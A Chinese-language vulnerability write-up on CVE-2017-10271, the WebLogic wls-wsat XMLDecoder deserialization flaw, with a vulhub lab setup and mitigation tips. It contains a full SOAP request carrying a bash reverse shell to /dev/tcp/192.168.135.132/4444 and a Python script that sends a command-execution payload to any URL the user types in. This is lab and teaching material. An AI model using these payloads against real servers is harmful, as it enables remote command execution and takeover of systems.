Weblogic < 10.3.6 ‘wls-wsat‘ XMLDecoder 反序列化漏洞(CVE-2017-10271)

1 漏洞概述

CVE-2017-10271 是一个存在于 Oracle WebLogic Server 10.3.6 以下版本中的 XMLDecoder 反序列化漏洞。此漏洞源于 WebLogic 的 WLS-WebServices 核心组件,该组件使用 XMLDecoder 来解析用户传入的 XML 数据。由于 XMLDecoder 在处理某些特定格式的 XML 数据时存在反序列化漏洞,攻击者可以构造恶意的 XML 数据来触发该漏洞,从而执行任意命令,获取服务器权限。

2 漏洞原理

该漏洞的产生主要是由于 WebLogic 的 WLS Security 组件在对外提供 WebService 服务时,使用了 XMLDecoder 来解析用户传入的 XML 数据。在解析过程中,如果 XML 数据中包含恶意构造的 Java 对象表达式,XMLDecoder 会尝试将其反序列化为 Java 对象并执行。由于 XMLDecoder 在处理某些特定格式的数据时存在安全漏洞,攻击者可以构造恶意的 XML 数据来触发该漏洞,从而执行任意命令。

3 漏洞影响范围

该漏洞影响 Oracle WebLogic Server 10.3.6 以下版本,具体包括但不限于 10.3.6.0.0、12.2.1.1.0、12.2.1.2.0、12.1.3.0.0 等版本。

4 靶场搭建

复制代码
进入漏洞文件
cd vulhub/weblogic/CVE-2017-10271/
启动漏洞环境
docker-compose build
docker-compose up -d
查看端口
docker-compose ps

访问 ,您将看到页面,表示环境正在成功运行。

5 漏洞复现

burp抓包修改为以下内容

复制代码
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
​
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.135.132/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

成功获取shell:

写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp):


6 使用python脚本探测漏洞

复制代码
#!/usr/bin/env python
​
import requests
​
print(" 注意:本代码仅用于实验和学习目的,请谨慎使用")
​
url = input("请输入目标URL:")  
check_url = '/wls-wsat/CoordinatorPortType'
headers = {
    'User-Agent':'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
    'Content-Type':'text/xml'
}
payload = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>ping d4bqi6.dnslog.cn
</string>
                        </void>
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>
'''
​
response = requests.post(url+check_url, data=payload,headers=headers)
​
if response.status_code == 500:
    print('命令已经执行')
else:
    print('error')

结果

7 漏洞防御

为了防御该漏洞,可以采取以下措施:

  1. 升级 WebLogic 到最新版本,以修复已知的安全漏洞。

  2. 限制对 WebLogic 的访问权限,仅允许受信任的用户或 IP 地址进行访问。

  3. 使用防火墙或其他安全设备来监控和过滤进入 WebLogic 的网络流量,以防止恶意数据的注入。

  4. 定期备份和恢复 WebLogic 的配置文件和数据,以便在发生安全事件时能够迅速恢复系统。

六、总结

CVE-2017-10271 是一个严重的安全漏洞,攻击者可以利用该漏洞执行任意命令并获取服务器权限。为了防御该漏洞,建议升级 WebLogic 到最新版本,并采取相应的安全措施来限制对 WebLogic 的访问权限和监控网络流量。

相关推荐
枷锁—sha1 小时前
【DVWA系列】——CSRF——Medium详细教程
android·服务器·前端·web安全·网络安全·csrf
枷锁—sha1 小时前
跨站请求伪造漏洞(CSRF)详解
运维·服务器·前端·web安全·网络安全·csrf
2301_780789666 小时前
UDP和TCP的主要区别是什么
服务器·网络协议·web安全·网络安全·udp
一只栖枝8 小时前
HCIA-Security 认证精讲!网络安全理论与实战全掌握
网络·web安全·网络安全·智能路由器·hcia·it·hcia-security
晨欣11 小时前
大型语言模型(LLM)在网络安全中最具商业价值的应用场景(Grok3 回答 DeepSearch模式)
网络·web安全·语言模型
上海云盾-高防顾问15 小时前
电商行业如何做好网络安全工作?
网络·安全·web安全
鼓掌MVP16 小时前
网络安全威胁下的企业困境与破局技术实践
网络·安全·web安全
运维有小邓@21 小时前
内部文件审计:企业文件服务器审计对网络安全提升有哪些帮助?
运维·服务器·web安全
黑客老李1 天前
web安全入门 | 记新手小白初次尝试挖越权漏洞
安全·web安全·网络安全学习路线·黑客入门·web安全入门·web安全测试
上海云盾-高防顾问1 天前
筑牢网络安全防线:DDoS/CC 攻击全链路防护技术解析
安全·web安全·ddos